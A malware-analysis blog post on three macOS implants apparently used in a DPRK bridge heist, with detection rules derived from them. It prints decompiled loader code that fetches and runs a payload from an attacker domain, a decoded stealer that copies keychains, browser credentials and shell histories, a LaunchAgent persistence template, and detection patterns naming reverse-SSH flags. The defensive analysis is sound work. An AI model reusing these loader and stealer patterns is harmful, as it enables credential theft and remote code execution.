Martin's Blog

When Your Expensive EDR Is Blind: Creating Your Own Detections

A friend was frustrated that his EDR and his managed detection service did not identify and ideally stop the LayerZero incident. He was not targeted specifically; the targeting was general, but the point stung all the same: the tooling he pays for did not see it. The question we landed on was therefore a practical one. Can we use their report and analyse the samples, learn something, and turn that understanding into new detections for the same TTPs?

That is the whole experiment. I am not the IR firm, I do not have the cloud logs, and I never ran a single sample. What I have is the public incident report, three recovered macOS binaries, two decompilers, and the usual threat-intel pivots. The goal was not to re-litigate the attribution; it was to get from “the report says X happened” to “here is a rule that fires when X happens again.”

A note on honesty up front, because it matters for detection work. I tag every claim by how strongly I can back it: sample-confirmed (I verified it in the binary, its decompilation, or a decoded payload), capability/runtime-derived (the behaviour is in the binary but a specific IOC is assembled at runtime), and report-only (described in the report for a component I do not hold). If you build detections off the wrong tier you ship rules that cannot fire. More on that later; it is the single most important lesson here.

The incident, briefly

On 18 April 2026 the KelpDAO rsETH bridge, built on the LayerZero cross-chain messaging protocol, was drained of 116,500 rsETH (~$292M). The mechanism was not a smart-contract bug. The attacker compromised LayerZero’s internal RPC nodes and ran a denial-of-service against an external RPC provider, which forced the single configured DVN (Decentralized Verifier Network) to fail over onto the poisoned internal nodes and attest to a forged cross-chain message. Mandiant and CrowdStrike attribute the operation to DPRK / UNC4899 (TraderTraitor / Jade Sleet / Pressure Chollima).

The kill chain from the report reads like textbook DPRK tradecraft:

Date (UTC) Stage
2026-03-06 Social engineering: a developer cloned a malicious GitHub repo → two macOS implants dropped
2026-03-30 → 04-16 Cloud recon / persistence: the developer’s session keys reused (via VPNs) to reach GCP/GitHub despite MFA/SSO
2026-04-16 → 04-18 Lateral movement / RPC poisoning: op-geth on two GKE clusters injected with an ELF implant
2026-04-18 16:30 DoS of the external RPC → failover onto the poisoned internal nodes
2026-04-18 17:35 Exploit: 116,500 rsETH unlocked

The detail that should bother every blue-teamer: the EDR on the developer’s machine did not flag the implants, and as I will show, that is entirely consistent with what the samples look like. They are signature-blind. If your strategy is signatures, you were always going to lose this one.

The samples

The report named seven components. Three are macOS binaries that made it into public collection, and those are the three I can actually hold and verify. The filenames are the SHA-256, and the two published MD5s match the report, so these are byte-identical to what the IR firm analysed.

Short Codename (report) Lang Role SHA-256 prefix
S1 FLATROOF (SystemUpdate) Rust infostealer / dropper, Telegram C2 6328…f4982525
S2 ROOFDECK (iSync) Rust RAT, Nostr C2 61a1…fda1e60b2d
S3 terraform-provider-awsbeta Go trojanized provider (initial access) f1df…e4e96390

The other four (an Injector, two ELF implants carved from an op-geth core dump (CARVED1 / CARVED2 a.k.a. librpcmon.so), and a never-recovered Worker librpcw.so) are the part of the chain that actually moved the money. I do not have them, they are not in commodity malware feeds, and everything I say about them is report-only. I will come back to why that is the most important gap in the whole detection story.

All three macOS samples are arm64 Mach-O. I analysed them on Linux, where they cannot execute, kept at chmod 600 with no execute bit, and never ran them. The tooling was file, strings, lief for the Mach-O structure, IDA Pro and Binary Ninja headless for decompilation, plus VirusTotal, REDS, Censys and urlscan for the pivots.

First thing worth confirming, the signature-blindness:

~/go/bin/vt file 6328567511d88fdc2ae0939c5ef17b7a63d2a833881900de018a4f12f4982525
# 0 / 75 detections. Same for S2 and S3. First-seen 2026-05-22,
# all three within a 43-minute window: one toolkit, one operator.

Zero out of seventy-five. Not “benign”, novel. The AV industry simply had not caught up. That single fact dictates the entire detection design: behavioral rules are the durable layer; hashes and domains are disposable tripwires.

S3: the Terraform provider that downloads and runs a payload

This is the initial-access component and the easiest to prove, because Go keeps its symbol names. terraform-provider-awsbeta typosquats the official AWS provider. The trick is that Terraform launches providers as child processes over the go-plugin/gRPC handshake, so the moment a developer runs terraform init or terraform plan against a config referencing this provider, the implant executes. No further user interaction.

How did such a config land on the victim’s machine at all? Per the incident report, the developer was socially engineered into cloning a malicious GitHub repo whose Terraform config pointed at the actor’s fake registry, registry.hashicorp-aws[.]com, so the “install” was just terraform doing its job against a poisoned source. That registry domain is static in the S3 binary (sample-confirmed), and the registry host itself was real and stood up weeks before the attack. The lure itself, how the developer was talked into the clone, is the one link in the chain with no artifact behind it: the report says only “socially engineered”, and the malicious repo is not held. Clone to implants on disk took about seven minutes.

The malicious package decompiles cleanly. The loader, initInstanceInternal, lives at the same address (0x1003A3470) in both IDA and Binary Ninja, two independent tools recovering the same chain is what keeps this at sample-confirmed. Here is the IDA/Hex-Rays pseudocode, lightly trimmed (the v79/v81 names are decompiler artifacts, not source):

// terraform_provider_awsbeta_internal_provider_awsbeta_initInstanc@1003A3470.c
v79.str = (uint8 *)"https://diagnose.hashicorp-aws.com/plugins/grpc/v6/schema/"
                   "metrics/333afe63-c5a2-43f0-b046-7cbaa7797e8a";
v81 = net_http__ptr_Client_Get(v47, v79);          // [113] HTTP GET to the C2
... fmt_Errorf("download failed: %w", ...) ...      // [122] error-string ladder
... fmt_Errorf("create file failed: %w", ...) ...   // [142]
v75 = os_Chmod(v53, v50, 493);                       // [197] 493 == 0o755 → make executable
v76._r0 = os_exec_Command(v57, v58, ...);            // [210] build child process
v77 = os_exec__ptr_Cmd_Start(...);                   // [271] execute it, detached

So the behaviour is unambiguous: GET a second-stage from a lookalike domain → write it to disk → chmod 0755exec it as a detached child. The detach is real too: configureSysProcAttr sets Setsid/Setpgid and a lockfile guards a single background instance. The C2 hides behind a path that reads like benign plugin telemetry (/plugins/grpc/v6/schema/metrics/…), which is a nice touch.

Note what the domain is: diagnose.hashicorp-aws.com. Not hashicorp.com. The whole campaign leans on hashicorp-aws.com, a domain that, when I pivoted it through Censys, was registered and parked back in 2024, then sprouted operational subdomains (registry., minio., diagnose.) on 2026-02-26, about six weeks before the attack. Aged-then-weaponized. Classic.

This loader is the cleanest detection opportunity in the entire intrusion, and I will build the first rule on it.

S1: FLATROOF, a Rust shell around a Python stealer

S1 is a stripped Rust release binary, and that changes how you read it. The strings are real, but the collection logic is not in the Mach-O; it ships as a base64-embedded Python payload that the Rust code drops and runs (via a bundled portable CPython, so it does not depend on the victim’s system Python). I carved the blob and decoded it to a .txt (defanged, never executed). The Python is blunt and readable:

# 6. Keychain File (raw)
def collect_keychain():
    src = Path.home() / "Library/Keychains/login.keychain-db"   # T1555.001
    dst = output_dir / "Passwords" / "login.keychain-db"
    safe_copy(src, dst)

def collect_terminal_history():
    shell_files = {
        ".bash_history":  "bash_history_copy.txt",
        ".zsh_history":   "zsh_history_copy.txt",
        ".config/fish/fish_history": "fish_history_copy.txt",   # T1552
        ".xonsh_history": "xonsh_history_copy.txt",
    }

# Chromium + Firefox credential stores, plus:
subprocess.run(["ps", "aux"], capture_output=True, text=True)
subprocess.run(["system_profiler", "SPHardwareDataType", "SPSoftwareDataType"], ...)
# … then shutil.make_archive(output_dir, 'zip', …) → collected_data.zip

Keychain, every browser credential DB, all the shell histories, a process list, a hardware/software profile, zipped into collected_data. The Rust outer shell handles C2 over Telegram: api.telegram.org, the teloxide-core crate, sendMessage/sendDocument. The strings confirm it directly:

strings -n 6 6328...2525 | grep -aoE 'api\.telegram\.org|teloxide|endpoint-macos-aarch64-[0-9a-f]+'
# api.telegram.org
# teloxide
# endpoint-macos-aarch64-5555494492fc075f441637fb9d894913dde3a2ea

That last line is a gift. It is the ad-hoc code-signing identifier, a build artifact the report never published. REDS/malcontent reading the Mach-O surfaced it independently of my strings grep, which is what raised it from “an odd literal” to a build-family signal worth tracking. I verified it is present in S1 only (S2 and S3 do not carry it), so it is a FLATROOF/build-family hunt signal, not proof of the whole toolset. But if your telemetry surfaces Mach-O signing identifiers, endpoint-macos-aarch64-* is about as close to a unique fingerprint as you get.

The first detection-engineering trap

Here is the lesson I promised. The report lists FLATROOF IOCs like io.caiai.net/staticscandatav15/upload, technicais.sytes.net/..., and the install path ~/Library/com.apple.iTunesCloud/SystemUpdate. Obvious YARA/file fodder, right? Except:

strings -n 4 6328...2525 | grep -ac 'io.caiai.net\|technicais.sytes.net\|com.apple.iTunesCloud'
# 0

Zero. They are not in the byte-identical binary. They are assembled or fetched at runtime, almost certainly from the dead-drop config I will show in S2. This is not a discrepancy with the report; it is the difference between a network/host runtime artifact and a static one. If you write a file-based YARA rule for those paths, it will never match the sample on disk. The protocol endpoints (api.telegram.org, the Nostr relays) are static and matchable. The exfil URLs and install paths are not. Knowing which tier each IOC sits in is the whole game.

S2: ROOFDECK, a Nostr RAT, and why text-grep lies to you

S2 is the most interesting binary and the hardest to read. It is a full remote-access trojan whose C2 runs over Nostr, the decentralized, relay-based protocol, so takedowns are hard and the traffic looks like a chat client. It is also a stripped Rust async release binary, which means the obvious static approach fails in an instructive way.

Rust release builds merge string literals into one big concatenated table, read by (offset, length) slices with no null terminators. So when you grep for a relay you do not get a clean hit; you get the seam between two literals:

strings -n 6 61a1...e60b2d | grep -ao 'recovery_url[!-~]*' | head -c 120
# recovery_urlpastebin_keywss://relay.damus.iowss://nos.lolwss://nostr.momwss://relay.snort.social...

Look closely at that run. Three config keys followed by the relay list, all fused: nostr_public_keys · recovery_url · pastebin_key · then wss://relay.damus.io, wss://nos.lol, and so on. (I originally read that middle token as pastebin_keyword; the merged table makes it easy to swallow the next literal. It is pastebin_key. When your string evidence is going into a detection, the exact bytes matter.)

All eight relays from the report are present, plus one the report never published, wss://nostr.wine:

for r in relay.damus.io nos.lol nostr.mom nostr.wine relay.snort.social \
         offchain.pub relay.nostr.band nostr.oxtr.dev; do
  printf '%-22s %s\n' "$r" "$(grep -ac "$r" 61a1...e60b2d.strings.txt)"
done
# every one returns 1, including nostr.wine, the sample-confirmed extra relay

The recovery_url / pastebin_key / nostr_public_keys triplet is, in my assessment, a dead-drop config resolver: if the relays are unreachable the implant pulls fresh config (and probably those runtime-only exfil URLs from S1) from a paste site keyed by a keyword. The strings are confirmed; the dead-drop role is an inference, tagged accordingly.

Tracing the dispatcher by xref, not by reading

The command handlers are where you would normally read the malware’s intent. But this is async Rust: the command match is fused into a generated poll() state machine. Binary Ninja flat-out fails to render the dispatcher; IDA emits an 18,000-line poll function flagged “positive sp value detected.” Linear reading is hopeless.

The technique that works is address-based xref, anchored on the compiler-embedded core::panic::Location strings, every src/command/...rs module path the compiler baked in for panics. In Binary Ninja headless:

import binaryninja
bv = binaryninja.load("samples/artifacts/s2.bndb")   # cached, pre-analyzed

# 1. find the module-path string  →  2. its Location struct  →  3. the function
for ref in bv.get_data_refs(addr_of("src/command/dispatcher.rs")):
    for code in bv.get_code_refs(ref):
        print(hex(code.address), code.function)       # → sub_100026308, the dispatcher

That recovers the full 12-command handler set from the module paths: shell run wget upload rssh kill ps ls find tail df info, and the call sites inside the dispatcher: dfsub_100049228, lssub_100049258, pssub_100049198, findsub_10004916c, infosub_1000357a8; shell/run/tail inlined; rssh split across the dispatcher and five out-of-line functions. That is a remote shell, arbitrary exec, file up/download, reverse SSH with an interactive PTY (portable-pty), process control and filesystem recon. Persistence is a LaunchAgent (Library/LaunchAgents + a </plist> builder, sample-confirmed), and the channel is hybrid-encrypted (rsa-0.9.8 + aes-gcm-0.10.3).

What I could not recover statically: the exact wire keywords an operator types and the integer→variant map. Those are casualties of the async-poll fusion. I am flagging that rather than guessing, because a detection built on a guessed keyword is worse than no detection.

The part EDR cannot save you from

Everything above is endpoint-visible. The stage that moved $292M is not, and any honest detection write-up has to say so plainly.

The forge ran inside op-geth on the GKE nodes. Per the report, an Injector loaded CARVED1 (a manual ELF loader: mmap reserve, load segments, apply relocations, run constructors), which mapped CARVED2 (librpcmon.so). CARVED2 uses funchook to hook Go’s syscall.Syscall/Syscall6 trampolines, intercepts read/write/close/sendto, parses the JSON-RPC, and calls the Worker’s rpc_handler to forge Ethereum RPC responses, returning correct data to LayerZero’s monitoring and tampered data to the DVN.

I do not hold those binaries. I checked REDS by hash and by every distinctive content string (rpcm_static_mode, librpcmon.so, rpc_handler, the # step N: reading .so debug strings): zero hits, while a control string returned 148,615. They were carved from a single core dump and never distributed. So this stays report-only, and more to the point: in-memory trampoline hooking leaves almost no endpoint signal. You can catch the launcher and the anomalous .so load; you cannot see the byte-level forge from the endpoint. The compensating control is not EDR at all; it is RPC cross-observer anomaly detection at the protocol layer (the report’s own fix). Same story for the cloud session-key reuse: that needs identity telemetry, not a host sensor.

That is the uncomfortable answer to my friend’s question. The endpoint sensor can catch this intrusion early, at the Terraform exec and the implant install, but the two stages that turned access into money were never going to be endpoint-visible. Defence in depth across products, or you lose.

Turning it into detections

With the tiers straight, the rules write themselves. CrowdStrike Custom IOA syntax cannot be verified from my chair, so these are telemetry signal + logic as labelled pseudo-patterns: validate field names in your own console before shipping. Ranked by fidelity. Each rule carries an Evidence line tagging the tier it actually rests on, because a rule is only as trustworthy as the artifact under it: ✅ sample-confirmed (I can point at the binary or a decoded payload), 🟡 runtime-derived (the capability is in the binary but the literal IOC is assembled at runtime), 🧠 assessed (inferred from a confirmed artifact), 📄 report-only (no sample held).

D1: Terraform provider acting as a downloader/loader (highest fidelity). This is the chokepoint, and it is backed by the decompilation above.

Evidence: ✅ sample-confirmed: the S3 initInstanceInternal pseudocode shown above (GET → chmod 0755 → detached exec), recovered identically in IDA and Binary Ninja.

# Custom IOA: Process Creation (macOS + Linux)
ParentBaseFileName ~= /terraform-provider-/
  AND ( child ImageFileName ~= /\/(chmod|sh|bash)$/
        OR child created in a world-writable path then executed
        OR child created in a NEW SESSION (setsid) → detached daemon )
# paired Network IOA:
ImageFileName ~= /terraform-provider-/ AND outbound domain NOT in (*.terraform.io)

A legitimate provider never chmod 0755s a freshly downloaded file, execs it detached, and beacons outside registry.terraform.io. Near-zero false positives. (The ptrace anti-debug arm is Linux-runtime only; on macOS PT_DENY_ATTACH is self-applied and not an ESF event, so treat it as a static/triage signal, not a shippable rule.)

D2/D3: LaunchAgent persistence + masquerade execution.

Evidence: ✅ persistence sample-confirmed: S2 carries the full LaunchAgent plist template it writes, and the masquerade is visible right in it: the Label prefix com. is completed at runtime into the com.apple.* lookalike, and --type=renderer makes the agent pose as a Chromium helper child. 🟡 the ~/Library/com.apple.* install paths the plist points at are runtime-built, not static in the binary, same trap as the S1 exfil URLs, so detect them on the host/wire, not with file-content YARA.

<!-- S2 strings (lines 1760-1774): the LaunchAgent plist it builds at runtime -->
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.</string>            <!-- runtime-completed → com.apple.* masquerade -->
    <key>ProgramArguments</key>
    <array>
        <string></string>            <!-- implant path, runtime-filled -->
        <string>--type=renderer</string>   <!-- poses as a Chromium renderer child -->
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>
<!-- ...written to: Library/LaunchAgents/<name>.plist -->
# File Creation (macOS): a process writing ~/Library/LaunchAgents/*.plist
# whose ProgramArguments resolve under ~/Library/com.apple.* OR outside
# /Applications, /Library, /usr  → user-Library hidden path.
#
# Process Creation (macOS): exec from ~/Library/com.apple.iTunesCloud/,
# ~/Library/com.apple.internal.ck/, or image basename in (SystemUpdate, iSync)
# running outside /System or /usr.  Pair with ad-hoc-signing check → escalate.

Apple’s real components run from /System/Library, never ~/Library/com.apple.*.

D4/D5: decentralized and Telegram C2.

Evidence: ✅ sample-confirmed via strings: the full S2 Nostr relay table (shown earlier as the concatenated wss://… run, including the unpublished nostr.wine) and the S1 api.telegram.org / teloxide strings. These are static and matchable; the per-victim exfil URLs are not.

# Network/Domain IOA: outbound (incl. wss://) to a Nostr relay
#   relay.damus.io, nos.lol, nostr.mom, nostr.wine, relay.snort.social,
#   offchain.pub, relay.nostr.band, nostr.oxtr.dev, api.nostr.watch
# from a NON-browser process on a managed endpoint.   (nostr.wine is the
# sample-confirmed extra relay; include it.)
#
# Connection to api.telegram.org from a process that is NOT Telegram Desktop
# or a browser → scope by process image, not domain alone.

Nostr from a corporate engineering laptop, from a non-browser process, is rare and high-signal.

D13/D14: reverse SSH and network-spawned shells (straight off the ROOFDECK rssh/portable-pty handlers):

Evidence: 🧠 assessed: the rssh handler and portable-pty (interactive reverse-SSH capability) were recovered by the xref trace above, so the capability is sample-confirmed; but the exact ssh flags below are inferred from that capability, not read off the binary (the literal arguments are casualties of the async-poll() fusion). Tune before shipping.

# ssh (or autossh) with reverse/no-shell flags (-R -N -T -f
#   -o StrictHostKeyChecking=no) whose parent is a non-TTY background daemon.
# /bin/sh|/bin/zsh|/bin/bash exec'd as a child of a process that has no
#   controlling TTY AND has a recent/concurrent outbound connection.

D8/D9: collection and credential access (hunt-grade; macOS read-telemetry is limited, so lean on the write/staging side):

Evidence: ✅ sample-confirmed: the carved S1 Python stealer shown above (keychain copy, shell-history sweep, browser credential DBs, system_profiler, zip to collected_data).

# One process tree, short window: touches multiple shell-history files
#   AND runs system_profiler AND writes *.zip under /tmp or .../collected_data*.
# Non-browser process opening login.keychain-db / Login Data / key4.db /
#   logins.json / Cookies.binarycookies  (if file-open events are collected).

And the honest gaps: D10/D11 (anomalous .so mapped into op-geth, the Injector spawning) are Linux/container-sensor hunts; D12 (the funchook forge) and the cloud session-key reuse are simply not EDR-visible: protocol-layer RPC cross-observer integrity and identity telemetry, respectively. Evidence: 📄 report-only: the op-geth chain (Injector / CARVED1 / CARVED2 / Worker) is not in my collection and returned zero REDS hits, so there is no binary to quote; these rest on the incident report alone.

Indicators of compromise

Defanged. Treat hashes and domains as disposable: a urlscan liveness pass (2026-06-03, run unlisted so the probe does not surface to an actor watching urlscan for their own infra) shows the web C2 already torn down. io.caiai.net is NXDOMAIN; the hashicorp-aws.com web ports refuse connections, though the host stays up on SSH with certs renewing into late June 2026; and commsouthindia.com resolves to a Namecheap parking redirect, which is why it is flagged do-not-block below. The durable value is the behaviors above and the IP/ASN/cert-name patterns.

Hashes (SHA-256):

6328567511d88fdc2ae0939c5ef17b7a63d2a833881900de018a4f12f4982525  FLATROOF / SystemUpdate (S1)
61a110681a70af3dc21634558e12b1c00964f0cf48e90c89896eb0fda1e60b2d  ROOFDECK / iSync (S2)
f1df3737c972c5caf070d21a86f132648e6fe1ca07ba541c73eb30f1e4e96390  terraform-provider-awsbeta (S3)
MD5  c586e6be49105a23af8f306b560e35e6  (S1, report-published)
MD5  c22a69c45ec74af11a9f87f195ebd392  (S2, report-published)

Network:

hashicorp-aws[.]com  (+ diagnose. / registry. / minio. / minio-console.)
https[:]//diagnose.hashicorp-aws[.]com/plugins/grpc/v6/schema/metrics/333afe63-c5a2-43f0-b046-7cbaa7797e8a
caiai[.]net  (+ io. / node. / webio.)        technicais.sytes[.]net
api.telegram[.]org                            commsouthindia[.]com  (parked, see caveat)
Nostr relays: relay.damus.io, nos.lol, nostr.mom, nostr.wine*, relay.snort.social,
              offchain.pub, relay.nostr.band, nostr.oxtr.dev, api.nostr.watch/v1/online
              (* nostr.wine = sample-confirmed, NOT in the report's published list)
31.42.177.193   (AS43641 Sollutium EU, NL, hashicorp-aws.com C2/staging)
213.111.148.202 (AS6698 Virtual Systems LLC, UA, caiai.net infra, Windows VM)
⚠ DO NOT BLOCK 162.255.119.85 (commsouthindia / shared Namecheap parking, ~100 tenants)

Host artifacts:

codesign id  endpoint-macos-aarch64-5555494492fc075f441637fb9d894913dde3a2ea  (FLATROOF only)
~/Library/com.apple.iTunesCloud/SystemUpdate     ~/Library/com.apple.internal.ck/iSync
~/Library/Spelling/words-en.dat                  /temp/collected_data/  ·  /temp/collected_data.zip
S2 config keys: recovery_url · pastebin_key · nostr_public_keys  (dead-drop resolver, assessed)

(Remember: the caiai.net/technicais exfil URLs and the ~/Library/com.apple.* install paths are runtime-constructed, not static in the binaries. Hunt for them on the host and the wire, not in a file-content YARA rule.)

Closing

So, could we use the report and the samples to build detections for the same TTPs? Yes, and decisively, for the front of the kill chain. The Terraform loader (D1) is a single near-zero-FP rule sitting on the exact chokepoint, and it is grounded in decompilation, not vibes. Persistence, masquerade, C2, reverse-SSH and collection all map to clean behavioral IOAs. None of it depends on a hash or a domain, which is the point: the operator will rebuild the binaries, but they cannot rebuild the behaviour without rebuilding the operation.

What we could not do, and what no endpoint product could have done, is see the in-memory RPC forge or the cloud session-key reuse. Those are the two stages that turned a developer’s laptop into $292M, and they live below and beside the endpoint, respectively. That is the real answer for my frustrated friend: the EDR’s silence on the money stage was structural, not a tuning failure. But its silence on the front of the chain was avoidable, and the rules above are where you start fixing it.

All static, all on a Linux box where these arm64 binaries cannot run, nothing executed. The most valuable output was not a hash. It was knowing which tier each indicator lives in, because that is the difference between a rule that fires and one that never could.

#Malware-Analysis #Reverse-Engineering #Macos #Rust #Golang #Dprk #Supply-Chain #Detection-Engineering #Threat-Intelligence